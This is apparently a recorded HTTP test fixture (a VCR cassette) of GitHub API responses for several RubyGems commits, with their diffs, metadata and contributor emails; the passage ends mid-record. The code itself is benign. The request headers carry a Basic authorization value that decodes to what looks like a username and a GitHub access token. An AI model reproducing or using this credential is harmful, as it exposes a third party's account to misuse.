eyJzaGEiOiI2MGViOTYxYzI1ZjgwMWVlNDNjYTFiZTkzOTNhYjJmMGEwNTQ2Njc3IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiVsOtdCBPbmRydWNoIiwiZW1haWwiOiJ2b25kcnVjaEByZWRoYXQuY29tIiwiZGF0ZSI6IjIwMTctMTItMTlUMTM6MDA6MjBaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiVsOtdCBPbmRydWNoIiwiZW1haWwiOiJ2b25kcnVjaEByZWRoYXQuY29tIiwiZGF0ZSI6IjIwMTctMTItMTlUMTM6MDA6MjBaIn0sIm1lc3NhZ2UiOiJBZGQgR2VtLm9wZXJhdGluZ19zeXN0ZW1fZGVmYXVsdHMgdG8gYWxsb3cgcGFja2FnZXJzIHRvIG92ZXJyaWRlIGRlZmF1bHRzLlxuXG5UaGlzIGNoYW5nZSBhbGxvd3MgUnVieSBwYWNrYWdlcnMgdG8gb3ZlcnJpZGUgZGVmYXVsdHMgYW5kIGxhemlseSBxdWVyeVxudGhlbS5cblxuVGhpcyBpcyB2ZXJ5IG11Y2ggdGhlIHNhbWUgY2hhbmdlIGFzICMxNjQ0IHRvIHRyZWF0IHRoZVxub3BlcmF0aW5nX3N5c3RlbSBkZWZhdWx0cyB0aGUgc2FtZSB3YXkgYXMgcGxhdGZvcm0gZGVmYXVsdHMuIiwidHJlZSI6eyJzaGEiOiIyODhhMGUxOGVmMGRmZjVlMGIyM2Q4NmExZjZjNTgxZmMyZGU3NWM2IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvMjg4YTBlMThlZjBkZmY1ZTBiMjNkODZhMWY2YzU4MWZjMmRlNzVjNiJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzLzYwZWI5NjFjMjVmODAxZWU0M2NhMWJlOTM5M2FiMmYwYTA1NDY2NzciLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOmZhbHNlLCJyZWFzb24iOiJ1bnNpZ25lZCIsInNpZ25hdHVyZSI6bnVsbCwicGF5bG9hZCI6bnVsbH19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNjBlYjk2MWMyNWY4MDFlZTQzY2ExYmU5MzkzYWIyZjBhMDU0NjY3NyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC82MGViOTYxYzI1ZjgwMWVlNDNjYTFiZTkzOTNhYjJmMGEwNTQ2Njc3IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzYwZWI5NjFjMjVmODAxZWU0M2NhMWJlOTM5M2FiMmYwYTA1NDY2NzcvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJ2b3hpayIsImlkIjoxNDQwNiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTQ0MDY/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vdm94aWsiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJ2b3hpayIsImlkIjoxNDQwNiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTQ0MDY/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vdm94aWsiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiJmZjZjYTA0YTZjYmU4YzJjMTM3ZGEzOThiNjRhNGI5YjFlY2VmNDE5IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2ZmNmNhMDRhNmNiZThjMmMxMzdkYTM5OGI2NGE0YjliMWVjZWY0MTkiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZmY2Y2EwNGE2Y2JlOGMyYzEzN2RhMzk4YjY0YTRiOWIxZWNlZjQxOSJ9XSwic3RhdHMiOnsidG90YWwiOjMwLCJhZGRpdGlvbnMiOjI4LCJkZWxldGlvbnMiOjJ9LCJmaWxlcyI6W3sic2hhIjoiZGVlZTM4ZTZkOWZkOWM0ODJjMzQ3Mzg3YjBhY2E1NWIxOTU5OTZiNyIsImZpbGVuYW1lIjoibGliL3J1YnlnZW1zL2NvbmZpZ19maWxlLnJiIiwic3RhdHVzIjoibW9kaWZpZWQiLCJhZGRpdGlvbnMiOjEsImRlbGV0aW9ucyI6MSwiY2hhbmdlcyI6MiwiYmxvYl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi82MGViOTYxYzI1ZjgwMWVlNDNjYTFiZTkzOTNhYjJmMGEwNTQ2Njc3L2xpYi9ydWJ5Z2Vtcy9jb25maWdfZmlsZS5yYiIsInJhd191cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcmF3LzYwZWI5NjFjMjVmODAxZWU0M2NhMWJlOTM5M2FiMmYwYTA1NDY2NzcvbGliL3J1YnlnZW1zL2NvbmZpZ19maWxlLnJiIiwiY29udGVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb250ZW50cy9saWIvcnVieWdlbXMvY29uZmlnX2ZpbGUucmI/cmVmPTYwZWI5NjFjMjVmODAxZWU0M2NhMWJlOTM5M2FiMmYwYTA1NDY2NzciLCJwYXRjaCI6IkBAIC00OCw3ICs0OCw3IEBAIGNsYXNzIEdlbTo6Q29uZmlnRmlsZVxuICAgIyBGb3IgUnVieSBwYWNrYWdlcnMgdG8gc2V0IGNvbmZpZ3VyYXRpb24gZGVmYXVsdHMuICBTZXQgaW5cbiAgICMgcnVieWdlbXMvZGVmYXVsdHMvb3BlcmF0aW5nX3N5c3RlbS5yYlxuIFxuLSAgT1BFUkFUSU5HX1NZU1RFTV9ERUZBVUxUUyA9IHt9XG4rICBPUEVSQVRJTkdfU1lTVEVNX0RFRkFVTFRTID0gR2VtLm9wZXJhdGluZ19zeXN0ZW1fZGVmYXVsdHNcbiBcbiAgICMjXG4gICAjIEZvciBSdWJ5IGltcGxlbWVudGVycyB0byBzZXQgY29uZmlndXJhdGlvbiBkZWZhdWx0cy4gIFNldCBpbiJ9LHsic2hhIjoiYjgyMjI4NzdhZTMzNjAwYzY0Mzc2NmFlZDliMGE5MDFjNDY2MGNkZSIsImZpbGVuYW1lIjoibGliL3J1YnlnZW1zL2RlZmF1bHRzLnJiIiwic3RhdHVzIjoibW9kaWZpZWQiLCJhZGRpdGlvbnMiOjIwLCJkZWxldGlvbnMiOjEsImNoYW5nZXMiOjIxLCJibG9iX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iLzYwZWI5NjFjMjVmODAxZWU0M2NhMWJlOTM5M2FiMmYwYTA1NDY2NzcvbGliL3J1YnlnZW1zL2RlZmF1bHRzLnJiIiwicmF3X3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9yYXcvNjBlYjk2MWMyNWY4MDFlZTQzY2ExYmU5MzkzYWIyZjBhMDU0NjY3Ny9saWIvcnVieWdlbXMvZGVmYXVsdHMucmIiLCJjb250ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbnRlbnRzL2xpYi9ydWJ5Z2Vtcy9kZWZhdWx0cy5yYj9yZWY9NjBlYjk2MWMyNWY4MDFlZTQzY2ExYmU5MzkzYWIyZjBhMDU0NjY3NyIsInBhdGNoIjoiQEAgLTE3Niw3ICsxNzYsMjYgQEAgZGVmIHNlbGYudmVuZG9yX2RpciAjIDpub2RvYzpcbiAgIGVuZFxuIFxuICAgIyNcbi0gICMgRGVmYXVsdCBvcHRpb25zIGZvciBnZW0gY29tbWFuZHMuXG4rICAjIERlZmF1bHQgb3B0aW9ucyBmb3IgZ2VtIGNvbW1hbmRzIGZvciBSdWJ5IHBhY2thZ2Vycy5cbisgICNcbisgICMgVGhlIG9wdGlvbnMgaGVyZSBzaG91bGQgYmUgc3RydWN0dXJlZCBhcyBhbiBhcnJheSBvZiBzdHJpbmcgXCJnZW1cIlxuKyAgIyBjb21tYW5kIG5hbWVzIGFzIGtleXMgYW5kIGEgc3RyaW5nIG9mIHRoZSBkZWZhdWx0IG9wdGlvbnMgYXMgdmFsdWVzLlxuKyAgI1xuKyAgIyBFeGFtcGxlOlxuKyAgI1xuKyAgIyBkZWYgc2VsZi5vcGVyYXRpbmdfc3lzdGVtX2RlZmF1bHRzXG4rICAjICAge1xuKyAgIyAgICAgICAnaW5zdGFsbCcgPT4gJy0tbm8tcmRvYyAtLW5vLXJpIC0tZW52LXNoZWJhbmcnLFxuKyAgIyAgICAgICAndXBkYXRlJyA9PiAnLS1uby1yZG9jIC0tbm8tcmkgLS1lbnYtc2hlYmFuZydcbisgICMgICB9XG4rICAjIGVuZFxuK1xuKyAgZGVmIHNlbGYub3BlcmF0aW5nX3N5c3RlbV9kZWZhdWx0c1xuKyAgICB7fVxuKyAgZW5kXG4rXG4rICAjI1xuKyAgIyBEZWZhdWx0IG9wdGlvbnMgZm9yIGdlbSBjb21tYW5kcyBmb3IgUnVieSBpbXBsZW1lbnRlcnMuXG4gICAjXG4gICAjIFRoZSBvcHRpb25zIGhlcmUgc2hvdWxkIGJlIHN0cnVjdHVyZWQgYXMgYW4gYXJyYXkgb2Ygc3RyaW5nIFwiZ2VtXCJcbiAgICMgY29tbWFuZCBuYW1lcyBhcyBrZXlzIGFuZCBhIHN0cmluZyBvZiB0aGUgZGVmYXVsdCBvcHRpb25zIGFzIHZhbHVlcy4ifSx7InNoYSI6IjYyYjgwYzQ5NDVlYmMxZDI5MjQ3OTdiMjk0N2VmYzI0ZjQwOWI1MTUiLCJmaWxlbmFtZSI6InRlc3QvcnVieWdlbXMvdGVzdF9nZW0ucmIiLCJzdGF0dXMiOiJtb2RpZmllZCIsImFkZGl0aW9ucyI6NywiZGVsZXRpb25zIjowLCJjaGFuZ2VzIjo3LCJibG9iX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iLzYwZWI5NjFjMjVmODAxZWU0M2NhMWJlOTM5M2FiMmYwYTA1NDY2NzcvdGVzdC9ydWJ5Z2Vtcy90ZXN0X2dlbS5yYiIsInJhd191cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcmF3LzYwZWI5NjFjMjVmODAxZWU0M2NhMWJlOTM5M2FiMmYwYTA1NDY2NzcvdGVzdC9ydWJ5Z2Vtcy90ZXN0X2dlbS5yYiIsImNvbnRlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29udGVudHMvdGVzdC9ydWJ5Z2Vtcy90ZXN0X2dlbS5yYj9yZWY9NjBlYjk2MWMyNWY4MDFlZTQzY2ExYmU5MzkzYWIyZjBhMDU0NjY3NyIsInBhdGNoIjoiQEAgLTE3OTgsNiArMTc5OCwxMyBAQCBkZWYgdGVzdF91c2VfZ2VtZGVwc19zcGVjaWZpY1xuICAgICBFTlZbJ1JVQllHRU1TX0dFTURFUFMnXSA9IHJ1YnlnZW1zX2dlbWRlcHNcbiAgIGVuZFxuIFxuKyAgZGVmIHRlc3Rfb3BlcmF0aW5nX3N5c3RlbV9kZWZhdWx0c1xuKyAgICBvcGVyYXRpbmdfc3lzdGVtX2RlZmF1bHRzID0gR2VtLm9wZXJhdGluZ19zeXN0ZW1fZGVmYXVsdHNcbitcbisgICAgYXNzZXJ0IG9wZXJhdGluZ19zeXN0ZW1fZGVmYXVsdHMgIT0gbmlsXG4rICAgIGFzc2VydCBvcGVyYXRpbmdfc3lzdGVtX2RlZmF1bHRzLmlzX2E/IEhhc2hcbisgIGVuZFxuK1xuICAgZGVmIHRlc3RfcGxhdGZvcm1fZGVmYXVsdHNcbiAgICAgcGxhdGZvcm1fZGVmYXVsdHMgPSBHZW0ucGxhdGZvcm1fZGVmYXVsdHNcbiAifV19 http_version: recorded_at: Sat, 06 Jan 2018 14:59:46 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/e7968472c5f409ec7cca0d6ceba9ef951836ae01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:46 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4553' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"866c82c0dd63e5f36ab4f5028ccedef1" Last-Modified: - Mon, 18 Dec 2017 13:38:47 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.045414' X-Github-Request-Id: - A1DC:4D96:971508:13A34BC:5A50E462 body: encoding: ASCII-8BIT string: '{"sha":"e7968472c5f409ec7cca0d6ceba9ef951836ae01","commit":{"author":{"name":"Artyom Khramov","email":"futu.fata@gmail.com","date":"2017-11-06T17:44:17Z"},"committer":{"name":"Artyom Khramov","email":"futu.fata@gmail.com","date":"2017-12-18T13:38:47Z"},"message":"Show which gem referenced a missing gem\n\nIf gem''s dependency is missing, the output just shows the missing gem,\nleaving the dependent gem obscure.\n\nThis change adds dependent gem to the output message.","tree":{"sha":"ff13a13f090943d2186c50a391c9e3d8d7ee49ee","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ff13a13f090943d2186c50a391c9e3d8d7ee49ee"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/e7968472c5f409ec7cca0d6ceba9ef951836ae01","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/e7968472c5f409ec7cca0d6ceba9ef951836ae01","html_url":"https://github.com/rubygems/rubygems/commit/e7968472c5f409ec7cca0d6ceba9ef951836ae01","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/e7968472c5f409ec7cca0d6ceba9ef951836ae01/comments","author":{"login":"akhramov","id":5289700,"avatar_url":"https://avatars1.githubusercontent.com/u/5289700?v=4","gravatar_id":"","url":"https://api.github.com/users/akhramov","html_url":"https://github.com/akhramov","followers_url":"https://api.github.com/users/akhramov/followers","following_url":"https://api.github.com/users/akhramov/following{/other_user}","gists_url":"https://api.github.com/users/akhramov/gists{/gist_id}","starred_url":"https://api.github.com/users/akhramov/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akhramov/subscriptions","organizations_url":"https://api.github.com/users/akhramov/orgs","repos_url":"https://api.github.com/users/akhramov/repos","events_url":"https://api.github.com/users/akhramov/events{/privacy}","received_events_url":"https://api.github.com/users/akhramov/received_events","type":"User","site_admin":false},"committer":{"login":"akhramov","id":5289700,"avatar_url":"https://avatars1.githubusercontent.com/u/5289700?v=4","gravatar_id":"","url":"https://api.github.com/users/akhramov","html_url":"https://github.com/akhramov","followers_url":"https://api.github.com/users/akhramov/followers","following_url":"https://api.github.com/users/akhramov/following{/other_user}","gists_url":"https://api.github.com/users/akhramov/gists{/gist_id}","starred_url":"https://api.github.com/users/akhramov/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akhramov/subscriptions","organizations_url":"https://api.github.com/users/akhramov/orgs","repos_url":"https://api.github.com/users/akhramov/repos","events_url":"https://api.github.com/users/akhramov/events{/privacy}","received_events_url":"https://api.github.com/users/akhramov/received_events","type":"User","site_admin":false},"parents":[{"sha":"df158cc069e65e4b456c640e640ed9b7993ee609","url":"https://api.github.com/repos/rubygems/rubygems/commits/df158cc069e65e4b456c640e640ed9b7993ee609","html_url":"https://github.com/rubygems/rubygems/commit/df158cc069e65e4b456c640e640ed9b7993ee609"}],"stats":{"total":54,"additions":46,"deletions":8},"files":[{"sha":"70f33fafc8fc60fdb8f96ca748cb046691ec4b06","filename":"lib/rubygems/command.rb","status":"modified","additions":15,"deletions":4,"changes":19,"blob_url":"https://github.com/rubygems/rubygems/blob/e7968472c5f409ec7cca0d6ceba9ef951836ae01/lib/rubygems/command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/e7968472c5f409ec7cca0d6ceba9ef951836ae01/lib/rubygems/command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/command.rb?ref=e7968472c5f409ec7cca0d6ceba9ef951836ae01","patch":"@@ -152,15 +152,26 @@ def execute\n #--\n # TODO: replace +domain+ with a parameter to suppress suggestions\n \n- def show_lookup_failure(gem_name, version, errors, domain)\n+ def show_lookup_failure(gem_name, version, errors, domain, required_by = nil)\n+ gem = \"''#{gem_name}'' (#{version})\"\n+\n+ msg = StringIO.new \"Could not find a valid gem #{gem}\".dup, \"a+\"\n+\n if errors and !errors.empty?\n- msg = \"Could not find a valid gem ''#{gem_name}'' (#{version}), here is why:\\n\".dup\n+ msg << \", here is why:\\n\"\n errors.each { |x| msg << \" #{x.wordy}\\n\" }\n- alert_error msg\n else\n- alert_error \"Could not find a valid gem ''#{gem_name}'' (#{version}) in any repository\"\n+ if required_by && gem != required_by then\n+ msg << \" (required by #{required_by}) in any repository\"\n+ else\n+ msg << \" in any repository\"\n+ end\n end\n \n+ msg.close\n+\n+ alert_error msg.string\n+\n unless domain == :local then # HACK\n suggestions = Gem::SpecFetcher.fetcher.suggest_gems_from_name gem_name\n "},{"sha":"1a9f9461aee3cdc66c151bd756f5f4c59cc27966","filename":"lib/rubygems/commands/install_command.rb","status":"modified","additions":8,"deletions":4,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/e7968472c5f409ec7cca0d6ceba9ef951836ae01/lib/rubygems/commands/install_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/e7968472c5f409ec7cca0d6ceba9ef951836ae01/lib/rubygems/commands/install_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/install_command.rb?ref=e7968472c5f409ec7cca0d6ceba9ef951836ae01","patch":"@@ -250,17 +250,22 @@ def install_gems # :nodoc:\n \n get_all_gem_names_and_versions.each do |gem_name, gem_version|\n gem_version ||= options[:version]\n+ domain = options[:domain]\n+ domain = :local unless options[:suggest_alternate]\n \n begin\n install_gem gem_name, gem_version\n rescue Gem::InstallError => e\n alert_error \"Error installing #{gem_name}:\\n\\t#{e.message}\"\n exit_code |= 1\n- rescue Gem::GemNotFoundException, Gem::UnsatisfiableDependencyError => e\n- domain = options[:domain]\n- domain = :local unless options[:suggest_alternate]\n+ rescue Gem::GemNotFoundException => e\n show_lookup_failure e.name, e.version, e.errors, domain\n \n+ exit_code |= 2\n+ rescue Gem::UnsatisfiableDependencyError => e\n+ show_lookup_failure e.name, e.version, e.errors, domain,\n+ \"''#{gem_name}'' (#{gem_version})\"\n+\n exit_code |= 2\n end\n end\n@@ -300,4 +305,3 @@ def show_installed # :nodoc:\n end\n \n end\n-"},{"sha":"dc8a4b5ade623cbf1c4077c151d4d172dd26948c","filename":"test/rubygems/test_gem_commands_install_command.rb","status":"modified","additions":23,"deletions":0,"changes":23,"blob_url":"https://github.com/rubygems/rubygems/blob/e7968472c5f409ec7cca0d6ceba9ef951836ae01/test/rubygems/test_gem_commands_install_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/e7968472c5f409ec7cca0d6ceba9ef951836ae01/test/rubygems/test_gem_commands_install_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_install_command.rb?ref=e7968472c5f409ec7cca0d6ceba9ef951836ae01","patch":"@@ -691,6 +691,29 @@ def test_parses_requirement_from_gemname\n assert_match %r!Could not find a valid gem ''a'' \\(= 10.0\\)!, @ui.error\n end\n \n+ def test_show_dependent_gem\n+ spec_fetcher do |fetcher|\n+ fetcher.spec ''foo'', 2, ''bar'' => ''0.5''\n+ end\n+\n+ @cmd.options[:args] = [''foo'']\n+ @cmd.options[:suggest_alternate] = false\n+\n+ use_ui @ui do\n+ e = assert_raises Gem::MockGemUi::TermError do\n+ @cmd.execute\n+ end\n+\n+ assert_equal 2, e.exit_code\n+ end\n+\n+ expected = <<-EXPECTED\n+ERROR: Could not find a valid gem ''bar'' (= 0.5) (required by ''foo'' (>= 0)) in any repository\n+ EXPECTED\n+\n+ assert_equal expected, @ui.error\n+ end\n+\n def test_show_errors_on_failure\n Gem.sources.replace [\"http://not-there.nothing\"]\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:46 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:46 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4552' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"4c5d9e3362fa660e1968152340e38f55" Last-Modified: - Sun, 17 Dec 2017 22:00:00 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.036997' X-Github-Request-Id: - C4AE:4D95:F47B69:1C831F1:5A50E462 body: encoding: ASCII-8BIT string: '{"sha":"ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-17T22:00:00Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-17T22:00:00Z"},"message":"Auto merge of #2101 - olleolleolle:further-cleaning-the-licenses-support-code, r=segiddins\n\nExtract a SpecificationPolicy validation class\n\n# Description:\n\nThe Specification class is 3000 lines long.\n\nThis PR extracts a `SpecificationPolicy` delegate class, which performs validation on `Specification`.\n\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [ ] Write tests\n- [x] Write code to solve the problem\n- [x] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"abb68399497800600d9c20613dfc4cac57cec8c2","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/abb68399497800600d9c20613dfc4cac57cec8c2"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419","html_url":"https://github.com/rubygems/rubygems/commit/ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/us